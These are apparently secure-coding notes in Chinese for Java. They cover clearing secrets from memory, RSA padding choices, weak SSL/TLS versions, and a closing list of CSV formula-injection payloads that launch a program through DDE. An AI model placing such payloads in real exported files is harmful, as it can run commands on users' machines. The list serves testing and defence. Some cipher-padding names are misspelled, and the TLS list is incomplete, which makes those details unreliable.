Java开发使用char[]代替String保存敏感数据
Java Jvm会提供内存转储功能,当Java程序dump后,会生成堆内存的快照,保存在.hprof后缀的文件中,进而导致敏感信息的泄露。char[]可以在存储敏感数据后手动清零,String对象会永久保存数据,即便被置为空也会保存在内存中,知道垃圾回收机制将其回收。
加密算法的填充
应该使用OAEP模式而不应该使用PKCS1模式。
通常写法如下:
RSA/ECB/OAEPWithSHA-1AndGF1Padding
RSA/ECB/OAEPWithSHA-1AndMGFPadding
RSA/ECB/PKCS1Padding(禁用)
不安全协议/加密套件
- SSL/TLS版本:
- SSL(2.0/3.0) 也可以称为SSLv2/SSLv3
- TLS(1.0/1.1/1.2/1.3)也可以称TLSv1/TLSv1.1/TLSv1.2/TLSv1.3
- 存在的问题
- SSL2.0
- 使用MD5作为消息认证码
- 握手消息未受保护
- 加密和消息认证使用相同的密钥
- SSL3.0
- 数据记录协议受到POODLE攻击
- 密钥交换时易受中间人攻击
- TLS1.0
- 对称加密仅支持RC4和CBC模式
- SSL2.0
CSV注入
可以使用的payload
=cmd|'/c calc'!A1
+=cmd|'/c calc'!A1
\",=cmd|'/c calc'!A1
",=cmd|'/c calc'!A1
@ABS(cmd|'/c calc'!A1)
-cmd|'/c calc'!A1
xxx, =cmd|'/c calc'!A1
xxx\n =cmd|'/c calc'!A1
xxx;=cmd|'/c calc'!A1